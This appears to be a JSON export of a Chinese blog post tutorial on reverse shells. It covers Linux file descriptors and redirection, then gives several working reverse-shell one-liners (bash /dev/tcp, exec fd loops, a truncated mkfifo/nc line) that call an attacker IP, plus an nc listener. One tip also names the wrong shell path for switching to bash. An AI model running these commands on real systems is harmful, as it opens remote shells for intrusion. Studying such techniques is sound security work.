{"id":337,"date":"2023-10-13T19:01:50","date_gmt":"2023-10-13T11:01:50","guid":{"rendered":"http:\/\/danielw.top\/?p=337"},"modified":"2023-10-13T19:02:24","modified_gmt":"2023-10-13T11:02:24","slug":"%e5%8f%8d%e5%bc%b9shell","status":"publish","type":"post","link":"http:\/\/danielw.top\/?p=337","title":{"rendered":"\u53cd\u5f39shell"},"content":{"rendered":"<h2>\u53cd\u5f39shell\u672c\u8d28<\/h2>\n<p>\u6240\u8c13\u7684\u53cd\u5f39shell\uff08reverse shell\uff09\uff0c\u5c31\u662f\u63a7\u5236\u7aef\u76d1\u542c\u5728\u67d0TCP\/UDP\u7aef\u53e3\uff0c\u88ab\u63a7\u7aef\u53d1\u8d77\u8bf7\u6c42\u5230\u8be5\u7aef\u53e3\uff0c\u5e76\u5c06\u5176\u547d\u4ee4\u884c\u7684\u8f93\u5165\u8f93\u51fa\u8f6c\u5230\u63a7\u5236\u7aef\u3002 <\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/Kp\/image-20231013155757041.png\" alt=\"image-20231013155757041\" \/><\/p>\n<h2>\u7f51\u7edc\u901a\u4fe1\uff08network api\uff09\u65b9\u5f0f<\/h2>\n<h3>\/dev\/[tcp|udp]\u30104\u5c42\u534f\u8bae\u3011<\/h3>\n<h4>\u6587\u4ef6\u63cf\u8ff0\u7b26<\/h4>\n<p>linux\u6587\u4ef6\u63cf\u8ff0\u7b26\u53ef\u4ee5\u7406\u89e3\u4e3a<strong>linux\u8ddf\u8e2a\u6253\u5f00\u6587\u4ef6\u800c\u5206\u914d\u7684\u4e00\u4e2a\u6570\u5b57\u53e5\u67c4<\/strong>\uff0c\u8fd9\u4e2a\u6570\u5b57\u672c\u8d28\u4e0a\u662f\u4e00\u4e2a\u6587\u4ef6\u53e5\u67c4\uff0c\u901a\u8fc7\u53e5\u67c4\u5c31\u53ef\u4ee5\u5b9e\u73b0\u6587\u4ef6\u7684\u8bfb\u5199\u64cd\u4f5c\u3002<\/p>\n<p>\u5f53Linux\u542f\u52a8\u7684\u65f6\u5019\u4f1a\u9ed8\u8ba4\u6253\u5f00\u4e09\u4e2a\u6587\u4ef6\u63cf\u8ff0\u7b26\uff0c\u5206\u522b\u662f\uff1a<\/p>\n<ul>\n<li>\u6807\u51c6\u8f93\u5165\uff1astandard input 0 \uff08\u9ed8\u8ba4\u8bbe\u5907\u952e\u76d8\uff09<\/li>\n<li>\u6807\u51c6\u8f93\u51fa\uff1astandard output 1\uff08\u9ed8\u8ba4\u8bbe\u5907\u663e\u793a\u5668\uff09<\/li>\n<li>\u9519\u8bef\u8f93\u51fa\uff1aerror output 2\uff08\u9ed8\u8ba4\u8bbe\u5907\u663e\u793a\u5668\uff09<\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/Kp\/image-20231013160519079.png\" alt=\"image-20231013160519079\" \/><\/p>\n<p>\u8fdb\u7a0b\u542f\u52a8\u540e\u518d\u6253\u5f00\u65b0\u7684\u6587\u4ef6\uff0c\u63cf\u8ff0\u7b26\u4f1a\u81ea\u52a8\u4f9d\u6b21\u589e\u52a0\u3002\u6bcf\u4e00\u4e2a\u65b0\u8fdb\u7a0b\u90fd\u4f1a\u7ee7\u627f\u5176\u7236\u8fdb\u7a0b\u7684\u6587\u4ef6\u63cf\u8ff0\u7b26\uff0c\u56e0\u6b64\u6240\u6709\u7684shell\u547d\u4ee4\uff08\u672c\u8d28\u4e0a\u4e5f\u662f\u542f\u52a8\u65b0\u8fdb\u7a0b\uff09\uff0c\u90fd\u4f1a\u9ed8\u8ba4\u6709\u4e09\u4e2a\u6587\u4ef6\u63cf\u8ff0\u7b26\u3002<strong>Linux\u4e00\u5207\u7686\u6587\u4ef6<\/strong>\uff0c\u952e\u76d8\u3001\u663e\u793a\u5668\u8bbe\u5907\u4e5f\u662f\u6587\u4ef6\uff0c\u56e0\u6b64\u4ed6\u4eec\u7684\u8f93\u5165\u8f93\u51fa\u4e5f\u662f\u7531\u6587\u4ef6\u63cf\u8ff0\u7b26\u63a7\u5236\u3002\u5982\u679c\u6211\u4eec\u6709\u65f6\u5019\u9700\u8981\u8ba9\u8f93\u51fa\u4e0d\u663e\u793a\u5728\u663e\u793a\u5668\u4e0a\uff0c\u800c\u662f\u8f93\u51fa\u5230\u6587\u4ef6\u6216\u8005\u5176\u4ed6\u8bbe\u5907\uff0c\u90a3\u6211\u4eec\u5c31\u9700\u8981\u91cd\u5b9a\u5411\u3002<\/p>\n<h4>\u91cd\u5b9a\u5411<\/h4>\n<p>\u91cd\u5b9a\u5411\u4e3b\u8981\u5206\u4e3a\u4e24\u79cd<\/p>\n<ul>\n<li>\u8f93\u5165\u91cd\u5b9a\u5411<\/li>\n<\/ul>\n<pre><code class=\"language-bash\">&lt;\n&lt;&lt;<\/code><\/pre>\n<ul>\n<li>\u8f93\u51fa\u91cd\u5b9a\u5411<\/li>\n<\/ul>\n<pre><code class=\"language-bash\">>\n>&gt;<\/code><\/pre>\n<p>bash\u5728\u6267\u884c\u4e00\u6761\u6307\u4ee4\u7684\u65f6\u5019\uff0c\u9996\u5148\u4f1a\u68c0\u67e5\u547d\u4ee4\u4e2d\u662f\u5426\u5b58\u5728\u6587\u4ef6\u63cf\u8ff0\u7b26\u91cd\u5b9a\u5411\u7684\u7b26\u53f7\uff0c\u5982\u679c\u5b58\u5728\u90a3\u4e48<strong>\u9996\u5148\u5c06\u6587\u4ef6\u63cf\u8ff0\u7b26\u91cd\u5b9a\u5411\uff08\u9884\u5904\u7406\uff09<\/strong>\uff0c\u7136\u540e\u5728\u628a\u91cd\u5b9a\u5411\u53bb\u6389\uff0c\u7ee7\u7eed\u6267\u884c\u6307\u4ee4\u3002\u5982\u679c\u6307\u4ee4\u4e2d\u5b58\u5728\u591a\u4e2a\u91cd\u5b9a\u5411\uff0c\u91cd\u5b9a\u5411<strong>\u4ece\u5de6\u5411\u53f3\u89e3\u6790<\/strong>\u3002<\/p>\n<h5>\u8f93\u5165\u91cd\u5b9a\u5411<\/h5>\n<pre><code class=\"language-bash\">[n]&lt; word \n\uff08\u6ce8\u610f[n]\u4e0e&lt;\u4e4b\u95f4\u6ca1\u6709\u7a7a\u683c\uff09<\/code><\/pre>\n<p>\u8bf4\u660e\uff1a\u5c06\u6587\u4ef6\u63cf\u8ff0\u7b26 n \u91cd\u5b9a\u5411\u5230 word \u6307\u4ee3\u7684\u6587\u4ef6\uff08\u4ee5\u53ea\u8bfb\u65b9\u5f0f\u6253\u5f00\uff09,\u5982\u679cn\u7701\u7565\u5c31\u662f0\uff08\u6807\u51c6\u8f93\u5165\uff09\u3002<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/Kp\/image-20231013163304850.png\" alt=\"image-20231013163304850\" \/><\/p>\n<p>\u89e3\u6790\u5668\u89e3\u6790\u5230 &quot;&lt;&quot; \u4ee5\u540e\u4f1a\u5148\u5904\u7406\u91cd\u5b9a\u5411\uff0c\u5c06\u6807\u51c6\u8f93\u5165\u91cd\u5b9a\u5411\u5230file\uff0c\u4e4b\u540ecat\u518d\u4ece\u6807\u51c6\u8f93\u5165\u8bfb\u53d6\u6307\u4ee4\u7684\u65f6\u5019\uff0c\u7531\u4e8e\u6807\u51c6\u8f93\u5165\u5df2\u7ecf\u91cd\u5b9a\u5411\u5230\u4e86file \uff0c\u4e8e\u662fcat\u5c31\u4ecefile\u4e2d\u8bfb\u53d6\u6307\u4ee4\u4e86\u3002<\/p>\n<h5>\u8f93\u51fa\u91cd\u5b9a\u5411<\/h5>\n<pre><code>[n]&gt; word<\/code><\/pre>\n<p>\u8bf4\u660e\uff1a \u5c06\u6587\u4ef6\u63cf\u8ff0\u7b26 n \u91cd\u5b9a\u5411\u5230word \u6307\u4ee3\u7684\u6587\u4ef6\uff08\u4ee5\u5199\u7684\u65b9\u5f0f\u6253\u5f00\uff09\uff0c\u5982\u679cn \u7701\u7565\u5219\u9ed8\u8ba4\u5c31\u662f 1\uff08\u6807\u51c6\u8f93\u51fa\uff09\u3002<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/Kp\/image-20231013163708773.png\" alt=\"image-20231013163708773\" \/><\/p>\n<p>\u4e0a\u8ff0\u6307\u4ee4\u5c06\u6587\u4ef6\u63cf\u8ff0\u7b261\uff08\u6807\u51c6\u8f93\u51fa\uff09\u91cd\u5b9a\u5411\u5230\u4e86\u6307\u5b9a\u6587\u4ef6\u3002<\/p>\n<blockquote>\n<p>\u6ce8\u610f\uff1a\u8fd9\u91cc\u7684echo\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u6587\u4ef6\u65f6\u4f1a\u5c06\u539f\u6765\u7684\u5185\u5bb9\u8986\u76d6\uff0c\u5982\u679c\u60f3\u8ffd\u52a0\u5185\u5bb9\u4f7f\u7528<code>&gt;&gt;<\/code>\uff0c\u4e14\u8ffd\u52a0\u5185\u5bb9\u4f1a\u81ea\u52a8\u6362\u884c\u540e\u8ffd\u52a0<\/p>\n<\/blockquote>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/Kp\/image-20231013163922684.png\" alt=\"image-20231013163922684\" \/><\/p>\n<h5>\u6807\u51c6\u8f93\u51fa\u4e0e\u6807\u51c6\u9519\u8bef\u8f93\u51fa\u91cd\u5b9a\u5411<\/h5>\n<p>\u4e0b\u97623\u79cd\u5f62\u5f0f\u5b8c\u5168\u7b49\u4ef7\uff0c<\/p>\n<pre><code class=\"language-bash\">&amp;&gt; word \n>&amp; word\n> word 2&gt;&amp;1\uff1a\u5c06\u6807\u51c6\u9519\u8bef\u8f93\u51fa\u590d\u5236\u5230\u6807\u51c6\u8f93\u51fa<\/code><\/pre>\n<p>\u8bf4\u660e\uff1a\u5c06\u6807\u51c6\u8f93\u51fa\u4e0e\u6807\u51c6\u9519\u8bef\u8f93\u51fa\u90fd\u5b9a\u5411\u5230word\u4ee3\u8868\u7684\u6587\u4ef6\uff08\u4ee5\u5199\u7684\u65b9\u5f0f\u6253\u5f00\uff09\u3002<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/Kp\/image-20231013164426855.png\" alt=\"image-20231013164426855\" \/><\/p>\n<p>\u89e3\u91ca\uff1a\u6211\u4eec\u9996\u5148\u6267\u884c\u4e86\u4e00\u4e2a\u9519\u8bef\u7684\u547d\u4ee4\uff0c\u53ef\u4ee5\u770b\u5230\u9519\u8bef\u63d0\u793a\u88ab\u5199\u5165\u6587\u4ef6\uff08\u6b63\u5e38\u60c5\u51b5\u4e0b\u662f\u4f1a\u76f4\u63a5\u8f93\u51fa\u7684\uff09\uff0c\u6211\u4eec\u53c8\u6267\u884c\u4e86\u4e00\u6761\u6b63\u786e\u7684\u6307\u4ee4\uff0c\u53d1\u73b0\u7ed3\u679c\u4e5f\u8f93\u5165\u5230\u4e86\u6587\u4ef6\uff0c\u8bf4\u660e\u6b63\u786e\u9519\u8bef\u6d88\u606f\u90fd\u80fd\u8f93\u51fa\u5230\u6587\u4ef6\u3002<\/p>\n<h5>\u6587\u4ef6\u63cf\u8ff0\u7b26\u7684\u590d\u5236<\/h5>\n<pre><code class=\"language-bash\">[n]&lt;&amp;[m] \nn]&gt;&amp;[m] \n\u6ce8\u610f\uff1a\u8fd9\u91cc\u6240\u6709\u5b57\u7b26\u4e4b\u95f4\u4e0d\u8981\u6709\u7a7a\u683c<\/code><\/pre>\n<ul>\n<li>\u8fd9\u4e24\u4e2a\u6307\u4ee4\u90fd\u662f\u5c06\u6587\u4ef6\u63cf\u8ff0\u7b26 n \u590d\u5236\u5230 m \uff0c\u4e24\u8005\u7684\u533a\u522b\u662f<\/li>\n<\/ul>\n<pre><code class=\"language-bash\">[n]&lt;&amp;[m] \uff1a\u4ee5\u53ea\u8bfb\u7684\u5f62\u5f0f\u6253\u5f00\n[n]&gt;&amp;[m] \uff1a\u4ee5\u5199\u7684\u5f62\u5f0f\u6253\u5f00<\/code><\/pre>\n<ul>\n<li>\u8fd9\u91cc\u7684 &amp; \u76ee\u7684\u662f\u4e3a\u4e86\u533a\u5206\u6570\u5b57\u540d\u5b57\u7684\u6587\u4ef6\u548c\u6587\u4ef6\u63cf\u8ff0\u7b26\uff0c\u5982\u679c\u6ca1\u6709 &amp; \u7cfb\u7edf\u4f1a\u8ba4\u4e3a\u662f\u5c06\u6587\u4ef6\u63cf\u8ff0\u7b26\u91cd\u5b9a\u5411\u5230\u4e86\u4e00\u4e2a\u6570\u5b57\u4f5c\u4e3a\u6587\u4ef6\u540d\u7684\u6587\u4ef6\uff0c\u800c\u4e0d\u662f\u4e00\u4e2a\u6587\u4ef6\u63cf\u8ff0\u7b26<\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/Kp\/image-20231013164741631.png\" alt=\"image-20231013164741631\" \/><\/p>\n<p>\u6ce8\u610f\uff0c\u91cd\u5b9a\u5411\u7b26\u53f7\u7684\u987a\u5e8f\u4e0d\u80fd\u968f\u4fbf\u6362\uff0c\u56e0\u4e3a\u7cfb\u7edf\u662f\u4ece\u5de6\u5230\u53f3\u6267\u884c\u3002\u6211\u4eec\u6765\u5206\u6790\u4e0a\u9762\u6307\u4ee4\u7ed3\u679c\u51fa\u73b0\u7684\u539f\u7406\uff0c<\/p>\n<ol>\n<li><strong>\u9996\u5148\u89e3\u6790\u5668\u89e3\u6790\u5230 2&gt;&amp;1<\/strong>\uff1a\u5148\u5c06\u9519\u8bef\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u6807\u51c6\u8f93\u51fa<\/li>\n<li><strong>\u89e3\u6790\u5668\u518d\u5411\u540e\u89e3\u6790\u5230 &gt; <\/strong>\uff1a\u518d\u5c06\u6807\u51c6\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u6307\u5b9a\u6587\u4ef6<\/li>\n<\/ol>\n<h5>exec \u7ed1\u5b9a\u91cd\u5b9a\u5411<\/h5>\n<pre><code class=\"language-bash\">exec [n] &lt;&gt; file\/[n]\uff1a\u4ee5\u8bfb\u5199\u65b9\u5f0f\u6253\u5f00file\u6307\u4ee3\u7684\u6587\u4ef6\uff0c\u5e76\u5c06n\u91cd\u5b9a\u5411\u5230\u8be5\u6587\u4ef6\u3002\u5982\u679cn\u4e0d\u6307\u5b9a\u7684\u8bdd\uff0c\u9ed8\u8ba4\u4e3a\u6807\u51c6\u8f93\u5165\nexec [n] &lt; file\/[n] \nexec [n] &gt; file\/[n]<\/code><\/pre>\n<p>\u4f7f\u7528 exec \u6307\u4ee4\uff0c\u53ef\u4ee5\u8ba9\u91cd\u5b9a\u5411\u5728\u63a5\u4e0b\u6765\u7684\u4f1a\u8bdd\u4e2d\uff08\u591a\u6761\u6307\u4ee4\uff09\u6301\u7eed\u6709\u6548\u3002<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/Kp\/image-20231013165302616.png\" alt=\"image-20231013165302616\" \/><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/Kp\/image-20231013165359899.png\" alt=\"image-20231013165359899\" \/><\/p>\n<h3>\u901a\u8fc7\u5efa\u7acbsocket tcp\u8fde\u63a5\u5b9e\u73b0\u7f51\u7edc\u901a\u4fe1\u30104\u5c42\u534f\u8bae\u3011<\/h3>\n<h3>\u4f7f\u7528ICMP\u5b9e\u73b0\u7f51\u7edc\u901a\u4fe1\u30104\u5c42\u534f\u8bae\u3011=<\/h3>\n<h3>\u4f7f\u7528DNS\u5b9e\u73b0\u7f51\u7edc\u901a\u4fe1\u30107\u5c42\u534f\u8bae\u3011<\/h3>\n<blockquote>\n<p>\u6b64\u90e8\u5206\u5355\u72ec\u8fdb\u884c\u4ecb\u7ecd\uff0c\u6b64\u5904\u4e0d\u518d\u8d58\u8ff0<\/p>\n<\/blockquote>\n<h2>\u547d\u4ee4\u6267\u884c\uff08system executor\uff09\u65b9\u5f0f<\/h2>\n<h3>\u901a\u8fc7\u7ba1\u9053\u7b26\u4f20\u9012\u6307\u4ee4<\/h3>\n<pre><code class=\"language-bash\">echo &quot;hello&quot; | cat<\/code><\/pre>\n<h3>\u901a\u8fc7\u8c03\u7528glibc api\u6267\u884c\u7cfb\u7edf\u6307\u4ee4<\/h3>\n<p>\u672c\u8d28\u4e0a\u6765\u8bf4\uff0cLinux\u7cfb\u7edf\u4e2d\u7684ring3\u5e94\u7528\u7a0b\u5e8f\u542f\u52a8\u65f6\u90fd\u4f1a\u52a0\u8f7dglibc.so\u5e93\uff0cglibc\u5e93\u4e2d\u5bf9Linux\u7cfb\u7edf\u8c03\u7528\u5b9e\u73b0\u4e86\u5c01\u88c5\u3002\u5e94\u7528\u7a0b\u5e8f\u53ef\u4ee5\u50cf\u4f7f\u7528C\u5e93\u90a3\u6837\uff0c\u5b89\u5168\u5730\u4f7f\u7528\u7cfb\u7edf\u8c03\u7528\u3002<\/p>\n<p>\u200b   \u4ec0\u4e48\u662fRING3?\u8fd9\u5f97\u4eceCPU\u6307\u4ee4\u7cfb\u7edf(\u7528\u4e8e\u63a7\u5236CPU\u5b8c\u6210\u5404\u79cd\u529f\u80fd\u7684\u547d\u4ee4)\u7684\u7279\u6743\u7ea7\u522b\u8bf4\u8d77\u3002\u5728CPU\u7684\u6240\u6709\u6307\u4ee4\u4e2d\uff0c\u6709\u4e00\u4e9b\u6307\u4ee4\u662f\u975e\u5e38\u5371\u9669\u7684\uff0c\u5982\u679c\u9519\u7528\uff0c\u5c06\u5bfc\u81f4\u6574\u4e2a\u7cfb\u7edf\u5d29\u6e83\u3002\u6bd4\u5982\uff1a\u6e05\u5185\u5b58\u3001\u8bbe\u7f6e\u65f6\u949f\u7b49\u3002\u5982\u679c\u6240\u6709\u7684\u7a0b\u5e8f\u90fd\u80fd\u4f7f\u7528\u8fd9\u4e9b\u6307\u4ee4\uff0c\u90a3\u4e48\u4f60\u7684\u7cfb\u7edf\u4e00\u5929\u6b7b\u673an\u56de\u5c31\u4e0d\u8db3\u4e3a\u5947\u4e86\u3002\u6240\u4ee5\uff0cCPU\u5c06\u6307\u4ee4\u5206\u4e3a\u7279\u6743\u6307\u4ee4\u548c\u975e\u7279\u6743\u6307\u4ee4\uff0c\u5bf9\u4e8e\u90a3\u4e9b\u5371\u9669\u7684\u6307\u4ee4\uff0c\u53ea\u5141\u8bb8\u64cd\u4f5c\u7cfb\u7edf\u53ca\u5176\u76f8\u5173\u6a21\u5757\u4f7f\u7528\uff0c\u666e\u901a\u7684\u5e94\u7528\u7a0b\u5e8f\u53ea\u80fd\u4f7f\u7528\u90a3\u4e9b\u4e0d\u4f1a\u9020\u6210\u707e\u96be\u7684\u6307\u4ee4\u3002\u5f62\u8c61\u5730\u8bf4\uff0c\u7279\u6743\u6307\u4ee4\u5c31\u662f\u90a3\u4e9b\u513f\u7ae5\u4e0d\u5b9c\u7684\u4e1c\u4e1c\uff0c\u800c\u975e\u7279\u6743\u6307\u4ee4\u5219\u662f\u8001\u5c11\u7686\u5b9c\u3002<\/p>\n<p>\u200b   Intel\u7684CPU\u5c06\u7279\u6743\u7ea7\u522b\u5206\u4e3a4\u4e2a\u7ea7\u522b\uff1aRING0,RING1,RING2,RING3\u3002Windows\u53ea\u4f7f\u7528\u5176\u4e2d\u7684\u4e24\u4e2a\u7ea7\u522bRING0\u548cRING3\uff0cRING0\u53ea\u7ed9\u64cd\u4f5c\u7cfb\u7edf\u7528\uff0cRING3\u8c01\u90fd\u80fd\u7528\u3002\u5982\u679c\u666e\u901a\u5e94\u7528\u7a0b\u5e8f\u4f01\u56fe\u6267\u884cRING0\u6307\u4ee4\uff0c\u5219Windows\u4f1a\u663e\u793a\u201c\u975e\u6cd5\u6307\u4ee4\u201d\u9519\u8bef\u4fe1\u606f\u3002\u56e0\u4e3a\u6709CPU\u7684\u7279\u6743\u7ea7\u522b\u4f5c\u4fdd\u62a4\u3002  <\/p>\n<h3>\u901a\u8fc7\u76f4\u63a5\u8c03\u7528\u7cfb\u7edf\u8c03\u7528\u6267\u884c\u6307\u4ee4<\/h3>\n<p>\u200b   \u4e00\u822c\u6765\u8bf4\uff0c\u5e94\u7528\u7a0b\u5e8f\u53ef\u4ee5\u901a\u8fc7glibc\u5c01\u88c5\u51fa\u7684\u63a5\u53e3\u6765\u4f7f\u7528\u7cfb\u7edf\u8c03\u7528\uff0c\u8fd9\u6837\u907f\u514d\u4e00\u4e9b\u9501\u3001\u4f20\u53c2\u68c0\u67e5\u7b49\u95ee\u9898\u3002\u4f46\u662f\u6280\u672f\u4e0a\uff0c\u5e94\u7528\u7a0b\u5e8f\u5b8c\u5168\u4e5f\u53ef\u4ee5\u7ed5\u8fc7glibc\uff0c\u76f4\u63a5\u53d1\u8d77syscall\u7cfb\u7edf\u8c03\u7528\u3002<\/p>\n<h2>\u53cd\u5f39Shell\u653b\u51fb\u7ec4\u5408\u65b9\u5f0f<\/h2>\n<h3>\u201c\u91cd\u5b9a\u5411\u7b26\u201d+&quot;\/dev\/tcp\u7f51\u7edc\u901a\u4fe1&quot;Bash\u53cd\u5f39Shell<\/h3>\n<p>\u8fd9\u4e00\u7c7b\u53cd\u5f39shell\u7684\u672c\u8d28\u662f\u628a<code>bash\/zsh<\/code>\u7b49\u8fdb\u7a0b\u7684<code> 0 1 2 <\/code>\u8f93\u5165\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u8fdc\u7a0bsocket\uff0c\u7531socket\u4e2d\u83b7\u53d6\u8f93\u5165\uff0c\u91cd\u5b9a\u5411 \u6807\u51c6\u8f93\u51fa\uff081\uff09\u548c\u9519\u8bef\u8f93\u51fa\uff082\uff09\u5230socket\u3002<\/p>\n<pre><code class=\"language-bash\">attacker\u673a\u5668\u4e0a\u6267\u884c\uff1a\nnc -lvp 2333\n\nvictim \u673a\u5668\u4e0a\u6267\u884c\uff1a\nbash -i &gt;&amp; \/dev\/tcp\/192.168.207.129\/2333 0&gt;&amp;1<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/Kp\/image-20231013171841193.png\" alt=\"image-20231013171841193\" \/><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/Kp\/image-20231013171850935.png\" alt=\"image-20231013171850935\" \/><\/p>\n<ul>\n<li>\n<p><code>bash -i<\/code>\uff1abash \u662flinux\u7684\u4e00\u4e2a\u6bd4\u8f83\u5e38\u89c1\u7684shell\uff0c\u9664\u6b64\u4e4b\u5916\u8fd8\u6709 sh\u3001zsh\u3001\u7b49\uff0c\u4ed6\u4eec\u4e4b\u95f4\u6709\u7740\u7ec6\u5c0f\u5dee\u522b<\/p>\n<\/li>\n<li>\n<p><code>-i<\/code>\uff1a\u8fd9\u4e2a\u53c2\u6570\u8868\u793a\u7684\u662f\u4ea7\u751f\u4ea4\u4e92\u5f0f\u7684shell<\/p>\n<\/li>\n<li>\n<p><code>\/dev\/tcp\/ip\/port<\/code>\uff1a<code>\/dev\/tcp|udp\/ip\/port<\/code> \u8fd9\u4e2a\u6587\u4ef6\u53ef\u4ee5\u5c06\u5176\u770b\u6210\u4e00\u4e2a\u8bbe\u5907\uff08Linux\u4e0b\u4e00\u5207\u7686\u6587\u4ef6\uff09\uff0c\u5bf9\u8fd9\u4e2a\u6587\u4ef6\u8fdb\u884c\u8bfb\u5199\uff0c\u5c31\u80fd\u5b9e\u73b0\u4e0e\u76d1\u542c\u7aef\u53e3\u7684\u670d\u52a1\u5668\u7684socket\u901a\u4fe1<\/p>\n<\/li>\n<li>\n<p><code>&gt;&amp;<\/code>\uff1a\u6df7\u5408\u8f93\u51fa\uff08\u9519\u8bef\u3001\u6b63\u786e\u8f93\u51fa\u90fd\u8f93\u51fa\u5230\u4e00\u4e2a\u5730\u65b9\uff09\uff0c\u907f\u514d\u53d7\u5bb3\u8005\u673a\u5668\u4e0a\u4f9d\u7136\u80fd\u770b\u5230\u6211\u4eec\u5728\u653b\u51fb\u8005\u673a\u5668\u4e2d\u6267\u884c\u7684\u6307\u4ee4<\/p>\n<\/li>\n<li>\n<p><code>0&gt;&amp;1<\/code>\uff1a\u8f93\u51650\u662f\u7531 <code>\/dev\/tcp\/192.168.207.128\/2333<\/code>  \u8f93\u5165\u7684\uff0c\u4e5f\u5c31\u662f\u653b\u51fb\u673a\u7684\u8f93\u5165\uff0c\u547d\u4ee4\u6267\u884c\u7684\u7ed3\u679c1\uff0c\u4f1a\u8f93\u51fa\u5230<code> \/dev\/tcp\/192.168.207.128\/2333<\/code>  \u4e0a\uff0c\u8fd9\u5c31\u5f62\u6210\u4e86\u4e00\u4e2a\u56de\u8def\uff0c\u5b9e\u73b0\u4e86\u6211\u4eec\u8fdc\u7a0b\u4ea4\u4e92\u5f0fshell \u7684\u529f\u80fd<\/p>\n<\/li>\n<\/ul>\n<blockquote>\n<p>\u8fd9\u91cc\u6ce8\u610f\u5982\u679c\u4f7f\u7528zsh\u6216\u8005\u5176\u4ed6shell\u53ef\u80fd\u4f1a\u4ea7\u751f\u62a5\u9519<\/p>\n<p><code>zsh: \u6ca1 \u6709 \u90a3 \u4e2a \u6587 \u4ef6 \u6216 \u76ee \u5f55 : \/dev\/tcp\/192.168.207.128\/2333<\/code><\/p>\n<p>\u53ea\u9700\u8981\u8fd0\u884c<code>sudo usermod -s \/bin\/zsh username<\/code>\u5c06shell\u8f6c\u6362\u4e3abash\u5373\u53ef\uff0c\u56e0\u4e3a<code>\/dev\/tcp\/<\/code>\u53ea\u6709bash\u4e0b\u53ef\u4ee5\u8fdb\u884c\u64cd\u4f5c                                                                       <\/p>\n<\/blockquote>\n<p>\u5e38\u89c1\u7684\u53d8\u79cd\u547d\u4ee4\u884c\u5982\u4e0b\uff1a<\/p>\n<p><strong>\u65b9\u5f0f\u4e00\uff1a\u663e\u5f0f\u7528\u201c2&gt;&amp;1\u201d\u6765\u5bf9\u9519\u8bef\u8f93\u51fa\u8fdb\u884c\u91cd\u5b9a\u5411<\/strong> <\/p>\n<pre><code class=\"language-bash\">bash -i &gt; \/dev\/tcp\/192.168.207.128\/2333 0&gt;&amp;1 2&gt;&amp;1<\/code><\/pre>\n<p><strong>\u65b9\u5f0f\u4e8c\uff1a\u552f\u4e00\u533a\u522b\u5c31\u662f 0&gt;&amp;1 \u548c 0&lt;&amp;1 \uff0c\u5176\u5b9e\u5c31\u662f\u6253\u5f00\u65b9\u5f0f\u7684\u4e0d\u540c\uff0c\u800c\u5bf9\u4e8e\u8fd9\u4e2a\u6587\u4ef6\u63cf\u8ff0\u7b26\u6765\u8bb2\u5e76\u6ca1\u6709\u4ec0\u4e48\u533a\u522b<\/strong><\/p>\n<pre><code class=\"language-bash\">bash -i &gt;&amp; \/dev\/tcp\/192.168.207.128\/2333 0&gt;&amp;1\nbash -i &gt;&amp; \/dev\/tcp\/192.168.207.128\/2333 0&lt;&amp;1<\/code><\/pre>\n<p><strong>\u65b9\u5f0f\u4e09\uff1a<\/strong><\/p>\n<pre><code class=\"language-bash\">bash -i &gt;&amp; \/dev\/tcp\/192.168.207.128\/2333 &lt;&amp;2\nbash -i &gt;&amp; \/dev\/tcp\/192.168.207.128\/2333 0&lt;&amp;2<\/code><\/pre>\n<p><strong>\u65b9\u5f0f\u56db\uff1a<\/strong><\/p>\n<pre><code class=\"language-bash\">exec 5&lt;&gt;\/dev\/tcp\/192.168.207.128\/2333;cat &lt;&amp;5|while read line;do $line &gt;&amp;5 2&gt;&amp;1;done\n- \u201cexec 5&lt;&gt;\/dev\/tcp\/192.168.207.128\/2333\u201d\uff1a\u8fd9\u4e00\u53e5\u5c06\u6587\u4ef6\u63cf\u8ff0\u7b265\u91cd\u5b9a\u5411\u5230\u4e86  \/dev\/tcp\/192.168.207.128\/2333 \u5e76\u4e14\u65b9\u5f0f\u662f\u8bfb\u5199\u65b9\u5f0f\uff0c\u4e8e\u662f\u6211\u4eec\u5c31\u80fd\u901a\u8fc7\u6587\u4ef6\u63cf\u8ff0\u7b26\u5bf9\u8fd9\u4e2asocket\u8fde\u63a5\u8fdb\u884c\u64cd\u4f5c\u4e86\n- \u201ccommand|while read line do .....done\u201d\uff1a\u4ece\u6587\u4ef6\u4e2d\u4f9d\u6b21\u8bfb\u53d6\u6bcf\u4e00\u884c\uff0c\u5c06\u5176\u8d4b\u503c\u7ed9 line \u53d8\u91cf\uff08\u8fd9\u91cc\u53d8\u91cf\u53ef\u4ee5\u5f88\u591a\uff0c\u4ee5\u7a7a\u683c\u5206\u9694\uff09\uff0c\u4e4b\u540e\u518d\u5728\u5faa\u73af\u4e2d\u5bf9line\u8fdb\u884c\u64cd\u4f5c\u3002\n- \u201d&gt;&amp;5 2&gt;&amp;1\u201c\uff1a\u4f7f\u7528\u7ba1\u9053\u7b26\u5bf9\u653b\u51fb\u8005\u673a\u5668\u4e0a\u8f93\u5165\u7684\u547d\u4ee4\u4f9d\u6b21\u6267\u884c\uff0c\u5e76\u5c06\u6807\u51c6\u8f93\u51fa\u548c\u6807\u51c6\u9519\u8bef\u8f93\u51fa\u90fd\u91cd\u5b9a\u5411\u5230\u4e86\u6587\u4ef6\u63cf\u8ff0\u7b265\uff0c\u4e5f\u5c31\u662f\u653b\u51fb\u673a\u4e0a\uff0c\u5b9e\u73b0\u4ea4\u4e92\u5f0fshell\u7684\u529f\u80fd\n\n0&lt;&amp;196;exec 196&lt;&gt;\/dev\/tcp\/192.168.207.128\/4444; sh &lt;&amp;196 &gt;&amp;196 2&gt;&amp;196=<\/code><\/pre>\n<p><strong>\u65b9\u5f0f\u4e94\uff1a<\/strong><\/p>\n<pre><code class=\"language-bash\">rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2&gt;&amp;1|nc 192.168.207.128 